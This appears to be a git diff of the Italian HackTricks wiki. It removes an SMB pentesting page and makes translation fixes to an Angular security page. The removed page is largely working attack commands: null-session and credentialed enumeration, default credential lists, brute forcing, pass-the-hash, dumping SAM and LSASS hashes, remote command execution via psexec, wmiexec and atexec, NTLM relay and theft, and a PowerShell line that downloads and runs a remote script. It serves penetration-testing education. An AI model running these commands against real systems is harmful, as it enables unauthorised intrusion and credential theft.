-Le condivisioni, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client parzialmente **indipendente** dalla struttura effettiva del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, consentono un **controllo dettagliato** sui permessi degli utenti, inclusi attributi come **`execute`**, **`read`** e **`full access`**. Questi permessi possono essere assegnati a singoli utenti o gruppi, in base alle condivisioni, e sono distinti dai permessi locali impostati sul server.
-
-### IPC$ Share
-
-L'accesso alla condivisione IPC$ può essere ottenuto tramite una sessione anonima null, consentendo l'interazione con i servizi esposti tramite named pipes. L'utilità `enum4linux` è utile a questo scopo. Utilizzata correttamente, consente di acquisire:
-
-- Informazioni sul sistema operativo
-- Dettagli sul dominio principale
-- Una compilazione di utenti e gruppi locali
-- Informazioni sulle condivisioni SMB disponibili
-- La politica di sicurezza del sistema efficace
-
-Questa funzionalità è fondamentale per gli amministratori di rete e i professionisti della sicurezza per valutare la postura di sicurezza dei servizi SMB (Server Message Block) su una rete. `enum4linux` fornisce una visione completa dell'ambiente SMB del sistema target, essenziale per identificare potenziali vulnerabilità e garantire che i servizi SMB siano adeguatamente protetti.
-```bash
-enum4linux -a target_ip
-```
-Il comando sopra è un esempio di come `enum4linux` potrebbe essere utilizzato per eseguire un'enumerazione completa contro un obiettivo specificato da `target_ip`.
-
-## Cos'è NTLM
-
-Se non sai cos'è NTLM o vuoi sapere come funziona e come abusarne, troverai molto interessante questa pagina su **NTLM** dove viene spiegato **come funziona questo protocollo e come puoi trarne vantaggio:**
-
-{{#ref}}
-../windows-hardening/ntlm/
-{{#endref}}
-
-## **Enumerazione del Server**
-
-### **Scansiona** una rete alla ricerca di host:
-```bash
-nbtscan -r 192.168.0.1/24
-```
-### Versione del server SMB
-
-Per cercare possibili exploit per la versione SMB, è importante sapere quale versione viene utilizzata. Se queste informazioni non appaiono in altri strumenti utilizzati, puoi:
-
-- Usare il modulo ausiliario **MSF** _**auxiliary/scanner/smb/smb_version**_
-- Oppure questo script:
-```bash
-#!/bin/sh
-#Author: rewardone
-#Description:
-# Requires root or enough permissions to use tcpdump
-# Will listen for the first 7 packets of a null login
-# and grab the SMB Version
-#Notes:
-# Will sometimes not capture or will print multiple
-# lines. May need to run a second time for success.
-if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
-if [ ! -z $2 ]; then rport=$2; else rport=139; fi
-tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
-echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
-echo "" && sleep .1
-```
-### **Cerca exploit**
-```bash
-msf> search type:exploit platform:windows target:2008 smb
-searchsploit microsoft smb
-```
-### **Credenziali** Possibili
-
-| **Nome utente**      | **Password comuni**                      |
-| -------------------- | ----------------------------------------- |
-| _(vuoto)_            | _(vuoto)_                                 |
-| ospite               | _(vuoto)_                                 |
-| Amministratore, admin | _(vuoto)_, password, amministratore, admin |
-| arcserve             | arcserve, backup                          |
-| tivoli, tmersrvd     | tivoli, tmersrvd, admin                   |
-| backupexec, backup   | backupexec, backup, arcada                |
-| test, lab, demo      | password, test, lab, demo                 |
-
-### Forza Bruta
-
-- [**Forza Bruta SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
-
-### Informazioni sull'Ambiente SMB
-
-### Ottenere Informazioni
-```bash
-#Dump interesting information
-enum4linux -a [-u "" -p ""] 
-enum4linux-ng -A [-u "" -p ""] 
-nmap --script "safe or smb-enum-*" -p 445 
-
-#Connect to the rpc
-rpcclient -U "" -N  #No creds
-rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
-rpcclient -U "username%passwd"  #With creds
-#You can use querydispinfo and enumdomusers to query user information
-
-#Dump user information
-/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]
-/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]
-
-#Map possible RPC endpoints
-/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]
-/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]
-/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]
-```
-### Enumerare Utenti, Gruppi e Utenti Connessi
-
-Queste informazioni dovrebbero già essere raccolte da enum4linux e enum4linux-ng
-```bash
-crackmapexec smb 10.10.10.10 --users [-u  -p ]
-crackmapexec smb 10.10.10.10 --groups [-u  -p ]
-crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u  -p ]
-
-ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
-
-rpcclient -U "" -N 10.10.10.10
-enumdomusers
-enumdomgroups
-```
-### Enumerare gli utenti locali
-
-[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
-```bash
-lookupsid.py -no-pass hostname.local
-```
-Oneliner
-```bash
-for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
-```
-### Metasploit - Enumerare gli utenti locali
-```bash
-use auxiliary/scanner/smb/smb_lookupsid
-set rhosts hostname.local
-run
-```
-### **Enumerazione di LSARPC e SAMR rpcclient**
-
-{{#ref}}
-pentesting-smb/rpcclient-enumeration.md
-{{#endref}}
-
-### Connessione GUI da linux
-
-#### Nel terminale:
-
-`xdg-open smb://cascade.htb/`
-
-#### Nella finestra del file browser (nautilus, thunar, ecc)
-
-`smb://friendzone.htb/general/`
-
-## Enumerazione delle cartelle condivise
-
-### Elenca le cartelle condivise
-
-È sempre consigliato controllare se puoi accedere a qualcosa; se non hai credenziali, prova a utilizzare **null** **credentials/guest user**.
-```bash
-smbclient --no-pass -L // # Null user
-smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
-
-smbmap -H  [-P ] #Null user
-smbmap -u "username" -p "password" -H  [-P ] #Creds
-smbmap -u "username" -p ":" -H  [-P ] #Pass-the-Hash
-smbmap -R -u "username" -p "password" -H  [-P ] #Recursive list
-
-crackmapexec smb  -u '' -p '' --shares #Null user
-crackmapexec smb  -u 'username' -p 'password' --shares #Guest user
-crackmapexec smb  -u 'username' -H '' --shares #Guest user
-```
-### **Connetti/Elenca una cartella condivisa**
-```bash
-#Connect using smbclient
-smbclient --no-pass ///
-smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
-#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient
-
-#List with smbmap, without folder it list everything
-smbmap [-u "username" -p "password"] -R [Folder] -H  [-P ] # Recursive list
-smbmap [-u "username" -p "password"] -r [Folder] -H  [-P ] # Non-Recursive list
-smbmap -u "username" -p ":" [-r/-R] [Folder] -H  [-P ] #Pass-the-Hash
-```
-### **Enumerare manualmente le condivisioni di Windows e connettersi ad esse**
-
-Potrebbe essere possibile che tu sia limitato nella visualizzazione delle condivisioni della macchina host e quando provi a elencarle sembra che non ci siano condivisioni a cui connettersi. Pertanto, potrebbe valere la pena provare a connettersi manualmente a una condivisione. Per enumerare manualmente le condivisioni, potresti voler cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando utilizzi una sessione valida (ad es. sessione nulla o credenziali valide). Questi possono indicare se la condivisione esiste e non hai accesso ad essa o se la condivisione non esiste affatto.
-
-I nomi di condivisione comuni per i target Windows sono
-
-- C$
-- D$
-- ADMIN$
-- IPC$
-- PRINT$
-- FAX$
-- SYSVOL
-- NETLOGON
-
-(Nomi di condivisione comuni da _**Network Security Assessment 3rd edition**_)
-
-Puoi provare a connetterti a esse utilizzando il seguente comando
-```bash
-smbclient -U '%' -N \\\\\\ # null session to connect to a windows share
-smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password)
-```
-per questo script (utilizzando una sessione nulla)
-```bash
-#/bin/bash
-
-ip=''
-shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
-
-for share in ${shares[*]}; do
-output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
-
-if [[ -z $output ]]; then
-echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
-else
-echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
-fi
-done
-```
-esempi
-```bash
-smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
-smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
-```
-### **Enumerare le condivisioni da Windows / senza strumenti di terze parti**
-
-PowerShell
-```bash
-# Retrieves the SMB shares on the locale computer.
-Get-SmbShare
-Get-WmiObject -Class Win32_Share
-# Retrieves the SMB shares on a remote computer.
-get-smbshare -CimSession ""
-# Retrieves the connections established from the local SMB client to the SMB servers.
-Get-SmbConnection
-```
-Console CMD
-```shell
-# List shares on the local computer
-net share
-# List shares on a remote computer (including hidden ones)
-net view \\ /all
-```
-MMC Snap-in (grafico)
-```shell
-# Shared Folders: Shared Folders > Shares
-fsmgmt.msc
-# Computer Management: Computer Management > System Tools > Shared Folders > Shares
-compmgmt.msc
-```
-explorer.exe (grafico), inserisci `\\\` per vedere le condivisioni disponibili non nascoste.
-
-### Monta una cartella condivisa
-```bash
-mount -t cifs //x.x.x.x/share /mnt/share
-mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
-```
-### **Scarica file**
-
-Leggi le sezioni precedenti per imparare come connetterti con credenziali/Pass-the-Hash.
-```bash
-#Search a file and download
-sudo smbmap -R Folder -H  -A  -q # Search the file in recursive mode and download it inside /usr/share/smbmap
-```
-
-```bash
-#Download all
-smbclient ///
-> mask ""
-> recurse
-> prompt
-> mget *
-#Download everything to current directory
-```
-Comandi:
-
-- mask: specifica la maschera utilizzata per filtrare i file all'interno della directory (ad es. "" per tutti i file)
-- recurse: attiva la ricorsione (predefinito: disattivato)
-- prompt: disattiva la richiesta per i nomi dei file (predefinito: attivato)
-- mget: copia tutti i file che corrispondono alla maschera dall'host alla macchina client
-
-(_Informazioni dalla manpage di smbclient_)
-
-### Ricerca di Cartelle Condivise nel Dominio
-
-- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
-```bash
-Snaffler.exe -s -d domain.local -o snaffler.log -v data
-```
-- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
-- `-M spider_plus [--share ]`
-- `--pattern txt`
-```bash
-sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
-```
-Particolarmente interessanti tra le condivisioni sono i file chiamati **`Registry.xml`** poiché **possono contenere password** per gli utenti configurati con **autologon** tramite Group Policy. Oppure i file **`web.config`** poiché contengono credenziali.
-
-- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
-- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
-- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
-
-> [!NOTE]
-> La **condivisione SYSVOL** è **leggibile** da tutti gli utenti autenticati nel dominio. Qui puoi **trovare** molti diversi batch, VBScript e **script** PowerShell.\
-> Dovresti **controllare** gli **script** al suo interno poiché potresti **trovare** informazioni sensibili come **password**.
-
-## Leggi il Registro
-
-Potresti essere in grado di **leggere il registro** utilizzando alcune credenziali scoperte. Impacket **`reg.py`** ti consente di provare:
-```bash
-sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
-sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
-sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
-```
-## Post Exploitation
-
-La **configurazione predefinita di** un **server Samba** si trova solitamente in `/etc/samba/smb.conf` e potrebbe avere alcune **configurazioni pericolose**:
-
-| **Impostazione**            | **Descrizione**                                                    |
-| --------------------------- | ------------------------------------------------------------------ |
-| `browseable = yes`          | Consentire l'elenco delle condivisioni disponibili nella condivisione attuale? |
-| `read only = no`            | Vietare la creazione e la modifica di file?                       |
-| `writable = yes`            | Consentire agli utenti di creare e modificare file?               |
-| `guest ok = yes`            | Consentire la connessione al servizio senza utilizzare una password? |
-| `enable privileges = yes`   | Rispettare i privilegi assegnati a SID specifici?                |
-| `create mask = 0777`        | Quali permessi devono essere assegnati ai file appena creati?     |
-| `directory mask = 0777`     | Quali permessi devono essere assegnati alle directory appena create? |
-| `logon script = script.sh`  | Quale script deve essere eseguito al login dell'utente?          |
-| `magic script = script.sh`  | Quale script deve essere eseguito quando lo script viene chiuso?  |
-| `magic output = script.out` | Dove deve essere memorizzato l'output dello script magico?       |
-
-Il comando `smbstatus` fornisce informazioni sul **server** e su **chi è connesso**.
-
-## Authenticate using Kerberos
-
-Puoi **autenticarti** a **kerberos** utilizzando gli strumenti **smbclient** e **rpcclient**:
-```bash
-smbclient --kerberos //ws01win10.domain.com/C$
-rpcclient -k ws01win10.domain.com
-```
-## **Eseguire Comandi**
-
-### **crackmapexec**
-
-crackmapexec può eseguire comandi **abusando** di qualsiasi **mmcexec, smbexec, atexec, wmiexec**, essendo **wmiexec** il metodo **predefinito**. Puoi indicare quale opzione preferisci utilizzare con il parametro `--exec-method`:
-```bash
-apt-get install crackmapexec
-
-crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
-crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
-crackmapexec smb 192.168.10.11 -u Administrator -H  -x whoami #Pass-the-Hash
-# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
-
-crackmapexec smb  -d  -u Administrator -p 'password' --sam #Dump SAM
-crackmapexec smb  -d  -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
-crackmapexec smb  -d  -u Administrator -p 'password' --sessions #Get sessions (
-crackmapexec smb  -d  -u Administrator -p 'password' --loggedon-users #Get logged-on users
-crackmapexec smb  -d  -u Administrator -p 'password' --disks #Enumerate the disks
-crackmapexec smb  -d  -u Administrator -p 'password' --users #Enumerate users
-crackmapexec smb  -d  -u Administrator -p 'password' --groups # Enumerate groups
-crackmapexec smb  -d  -u Administrator -p 'password' --local-groups # Enumerate local groups
-crackmapexec smb  -d  -u Administrator -p 'password' --pass-pol #Get password policy
-crackmapexec smb  -d  -u Administrator -p 'password' --rid-brute #RID brute
-
-crackmapexec smb  -d  -u Administrator -H  #Pass-The-Hash
-```
-### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
-
-Entrambe le opzioni **creeranno un nuovo servizio** (utilizzando _\pipe\svcctl_ tramite SMB) nella macchina vittima e lo utilizzeranno per **eseguire qualcosa** (**psexec** **caricherà** un file eseguibile nella condivisione ADMIN$ e **smbexec** punterà a **cmd.exe/powershell.exe** e metterà negli argomenti il payload --**tecnica senza file-**-).\
-**Maggiore info** su [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)e [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
-In **kali** si trova in /usr/share/doc/python3-impacket/examples/
-```bash
-#If no password is provided, it will be prompted
-./psexec.py [[domain/]username[:password]@]
-./psexec.py -hashes  administrator@10.10.10.103 #Pass-the-Hash
-psexec \\192.168.122.66 -u Administrator -p 123456Ww
-psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
-```
-Utilizzando **parameter**`-k` puoi autenticarti contro **kerberos** invece di **NTLM**
-
-### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
-
-Esegui silenziosamente una shell di comando senza toccare il disco o avviare un nuovo servizio utilizzando DCOM tramite **port 135.**\
-In **kali** si trova in /usr/share/doc/python3-impacket/examples/
-```bash
-#If no password is provided, it will be prompted
-./wmiexec.py [[domain/]username[:password]@] #Prompt for password
-./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
-#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
-```
-Utilizzando **parameter**`-k` puoi autenticarti contro **kerberos** invece di **NTLM**
-```bash
-#If no password is provided, it will be prompted
-./dcomexec.py [[domain/]username[:password]@]
-./dcomexec.py -hashes  administrator@10.10.10.103 #Pass-the-Hash
-#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
-```
-### [AtExec](../windows-hardening/ntlm/atexec.md)
-
-Esegui comandi tramite il Task Scheduler (utilizzando _\pipe\atsvc_ tramite SMB).\
-In **kali** si trova in /usr/share/doc/python3-impacket/examples/
-```bash
-./atexec.py [[domain/]username[:password]@] "command"
-./atexec.py -hashes  administrator@10.10.10.175 "whoami"
-```
-## Riferimento Impacket
-
-[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
-
-## **Bruteforce delle credenziali degli utenti**
-
-**Questo non è raccomandato, potresti bloccare un account se superi il numero massimo di tentativi consentiti**
-```bash
-nmap --script smb-brute -p 445 
-ridenum.py  500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
-```
-## Attacco di relay SMB
-
-Questo attacco utilizza il toolkit Responder per **catturare le sessioni di autenticazione SMB** su una rete interna e **relevarle** a una **macchina target**. Se la **sessione di autenticazione ha successo**, ti porterà automaticamente in una **shell** **di sistema**.\
-[**Ulteriori informazioni su questo attacco qui.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
-
-## SMB-Trap
-
-La libreria Windows URLMon.dll tenta automaticamente di autenticarsi con l'host quando una pagina cerca di accedere a qualche contenuto tramite SMB, ad esempio: `img src="\\10.10.10.10\path\image.jpg"`
-
-Questo avviene con le funzioni:
-
-- URLDownloadToFile
-- URLDownloadToCache
-- URLOpenStream
-- URLOpenBlockingStream
-
-Che sono utilizzate da alcuni browser e strumenti (come Skype)
-
-![Da: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>)
-
-### SMBTrap utilizzando MitMf
-
-![Da: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>)
-
-## Furto di NTLM
-
-Simile al SMB Trapping, piantare file dannosi su un sistema target (via SMB, ad esempio) può innescare un tentativo di autenticazione SMB, consentendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può quindi essere decifrato offline o utilizzato in un [attacco di relay SMB](pentesting-smb.md#smb-relay-attack).
-
-[Guarda: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
-
-## Comandi automatici HackTricks
-```
-Protocol_Name: SMB    #Protocol Abbreviation if there is one.
-Port_Number:  137,138,139     #Comma separated if there is more than one.
-Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out
-
-Entry_1:
-Name: Notes
-Description: Notes for SMB
-Note: |
-While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
-
-#These are the commands I run in order every time I see an open SMB port
-
-With No Creds
-nbtscan {IP}
-smbmap -H {IP}
-smbmap -H {IP} -u null -p null
-smbmap -H {IP} -u guest
-smbclient -N -L //{IP}
-smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
-rpcclient {IP}
-rpcclient -U "" {IP}
-crackmapexec smb {IP}
-crackmapexec smb {IP} --pass-pol -u "" -p ""
-crackmapexec smb {IP} --pass-pol -u "guest" -p ""
-GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
-GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
-GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
-getArch.py -target {IP}
-
-With Creds
-smbmap -H {IP} -u {Username} -p {Password}
-smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
-smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
-crackmapexec smb {IP} -u {Username} -p {Password} --shares
-GetADUsers.py {Domain_Name}/{Username}:{Password} -all
-GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
-GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
-
-https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
-
-Entry_2:
-Name: Enum4Linux
-Description: General SMB Scan
-Command: enum4linux -a {IP}
-
-Entry_3:
-Name: Nmap SMB Scan 1
-Description: SMB Vuln Scan With Nmap
-Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
-
-Entry_4:
-Name: Nmap Smb Scan 2
-Description: SMB Vuln Scan With Nmap (Less Specific)
-Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
-
-Entry_5:
-Name: Hydra Brute Force
-Description: Need User
-Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
-
-Entry_6:
-Name: SMB/SMB2 139/445 consolesless mfs enumeration
-Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
-Note: sourced from https://github.com/carlospolop/legion
-Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
-
-```
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md
index 88dc76747..e3cff271f 100644
--- a/src/network-services-pentesting/pentesting-web/angular.md
+++ b/src/network-services-pentesting/pentesting-web/angular.md
@@ -1,5 +1,7 @@
 # Angular
 
+{{#include /banners/hacktricks-training.md}}
+
 ## The Checklist
 
 Checklist [da qui](https://lsgeurope.com/post/angular-security-checklist).
@@ -14,7 +16,7 @@ Checklist [da qui](https://lsgeurope.com/post/angular-security-checklist).
 
 ## What is Angular
 
-Angular è un **framework** front-end **potente** e **open-source** mantenuto da **Google**. Utilizza **TypeScript** per migliorare la leggibilità del codice e il debug. Con forti meccanismi di sicurezza, Angular previene vulnerabilità comuni lato client come **XSS** e **redirect aperti**. Può essere utilizzato anche lato **server**, rendendo importanti le considerazioni sulla sicurezza da **entrambi i lati**.
+Angular è un **framework** front-end **potente** e **open-source** mantenuto da **Google**. Utilizza **TypeScript** per migliorare la leggibilità del codice e il debug. Con forti meccanismi di sicurezza, Angular previene vulnerabilità comuni lato client come **XSS** e **open redirects**. Può essere utilizzato anche lato **server**, rendendo importanti le considerazioni sulla sicurezza da **entrambi i lati**.
 
 ## Framework architecture
 
@@ -39,17 +41,17 @@ my-workspace/
 ├── angular.json #provides workspace-wide and project-specific configuration defaults
 └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
 ```
-Secondo la documentazione, ogni applicazione Angular ha almeno un componente, il componente radice (`AppComponent`) che collega una gerarchia di componenti con il DOM. Ogni componente definisce una classe che contiene dati e logica dell'applicazione ed è associata a un modello HTML che definisce una vista da visualizzare in un ambiente target. Il decoratore `@Component()` identifica la classe immediatamente sottostante come un componente e fornisce il modello e i metadati specifici del componente correlati. L'`AppComponent` è definito nel file `app.component.ts`.
+Secondo la documentazione, ogni applicazione Angular ha almeno un componente, il componente radice (`AppComponent`) che collega una gerarchia di componenti con il DOM. Ogni componente definisce una classe che contiene dati e logica dell'applicazione ed è associato a un modello HTML che definisce una vista da visualizzare in un ambiente target. Il decoratore `@Component()` identifica la classe immediatamente sottostante come un componente e fornisce il modello e i metadati specifici del componente correlati. L'`AppComponent` è definito nel file `app.component.ts`.
 
-Gli Angular NgModules dichiarano un contesto di compilazione per un insieme di componenti dedicato a un dominio dell'applicazione, a un flusso di lavoro o a un insieme di capacità strettamente correlate. Ogni applicazione Angular ha un modulo radice, convenzionalmente chiamato `AppModule`, che fornisce il meccanismo di avvio che lancia l'applicazione. Un'applicazione contiene tipicamente molti moduli funzionali. L'`AppModule` è definito nel file `app.module.ts`.
+Gli NgModule di Angular dichiarano un contesto di compilazione per un insieme di componenti dedicato a un dominio dell'applicazione, a un flusso di lavoro o a un insieme di capacità strettamente correlate. Ogni applicazione Angular ha un modulo radice, convenzionalmente chiamato `AppModule`, che fornisce il meccanismo di avvio che lancia l'applicazione. Un'applicazione contiene tipicamente molti moduli funzionali. L'`AppModule` è definito nel file `app.module.ts`.
 
-Il modulo NgModule `Router` di Angular fornisce un servizio che consente di definire un percorso di navigazione tra i diversi stati dell'applicazione e le gerarchie di vista nella tua applicazione. Il `RouterModule` è definito nel file `app-routing.module.ts`.
+Il NgModule `Router` di Angular fornisce un servizio che consente di definire un percorso di navigazione tra i diversi stati dell'applicazione e le gerarchie di vista nella tua applicazione. Il `RouterModule` è definito nel file `app-routing.module.ts`.
 
-Per dati o logica che non sono associati a una vista specifica e che desideri condividere tra i componenti, crei una classe di servizio. La definizione di una classe di servizio è immediatamente preceduta dal decoratore `@Injectable()`. Il decoratore fornisce i metadati che consentono ad altri provider di essere iniettati come dipendenze nella tua classe. L'iniezione delle dipendenze (DI) ti consente di mantenere le tue classi di componente snelle ed efficienti. Esse non recuperano dati dal server, non convalidano l'input dell'utente e non registrano direttamente sulla console; delegano tali compiti ai servizi.
+Per dati o logica che non sono associati a una vista specifica e che desideri condividere tra i componenti, crei una classe di servizio. La definizione di una classe di servizio è immediatamente preceduta dal decoratore `@Injectable()`. Il decoratore fornisce i metadati che consentono ad altri provider di essere iniettati come dipendenze nella tua classe. L'iniezione delle dipendenze (DI) ti consente di mantenere le classi dei componenti snelle ed efficienti. Esse non recuperano dati dal server, non convalidano l'input dell'utente e non registrano direttamente sulla console; delegano tali compiti ai servizi.
 
 ## Configurazione del sourcemap
 
-Il framework Angular traduce i file TypeScript in codice JavaScript seguendo le opzioni di `tsconfig.json` e poi costruisce un progetto con la configurazione di `angular.json`. Esaminando il file `angular.json`, abbiamo osservato un'opzione per abilitare o disabilitare un sourcemap. Secondo la documentazione di Angular, la configurazione predefinita ha un file sourcemap abilitato per gli script e non è nascosto per impostazione predefinita:
+Il framework Angular traduce i file TypeScript in codice JavaScript seguendo le opzioni di `tsconfig.json` e poi costruisce un progetto con la configurazione di `angular.json`. Guardando il file `angular.json`, abbiamo osservato un'opzione per abilitare o disabilitare un sourcemap. Secondo la documentazione di Angular, la configurazione predefinita ha un file sourcemap abilitato per gli script e non è nascosto per impostazione predefinita:
 ```json
 "sourceMap": {
 "scripts": true,
@@ -60,16 +62,16 @@ Il framework Angular traduce i file TypeScript in codice JavaScript seguendo le
 ```
 In generale, i file sourcemap sono utilizzati per scopi di debug in quanto mappano i file generati ai loro file originali. Pertanto, non è consigliabile utilizzarli in un ambiente di produzione. Se i sourcemap sono abilitati, migliorano la leggibilità e aiutano nell'analisi dei file replicando lo stato originale del progetto Angular. Tuttavia, se sono disabilitati, un revisore può comunque analizzare manualmente un file JavaScript compilato cercando schemi anti-sicurezza.
 
-Inoltre, un file JavaScript compilato con un progetto Angular può essere trovato negli strumenti di sviluppo del browser → Sources (o Debugger e Sources) → \[id].main.js. A seconda delle opzioni abilitate, questo file può contenere la seguente riga alla fine `//# sourceMappingURL=[id].main.js.map` oppure potrebbe non contenerla, se l'opzione **hidden** è impostata su **true**. Tuttavia, se il sourcemap è disabilitato per **scripts**, il testing diventa più complesso e non possiamo ottenere il file. Inoltre, il sourcemap può essere abilitato durante la costruzione del progetto come `ng build --source-map`.
+Inoltre, un file JavaScript compilato con un progetto Angular può essere trovato negli strumenti per sviluppatori del browser → Sources (o Debugger e Sources) → \[id].main.js. A seconda delle opzioni abilitate, questo file può contenere la seguente riga alla fine `//# sourceMappingURL=[id].main.js.map` oppure potrebbe non contenerla, se l'opzione **hidden** è impostata su **true**. Tuttavia, se il sourcemap è disabilitato per **scripts**, il testing diventa più complesso e non possiamo ottenere il file. Inoltre, il sourcemap può essere abilitato durante la costruzione del progetto come `ng build --source-map`.
 
 ## Data binding
 
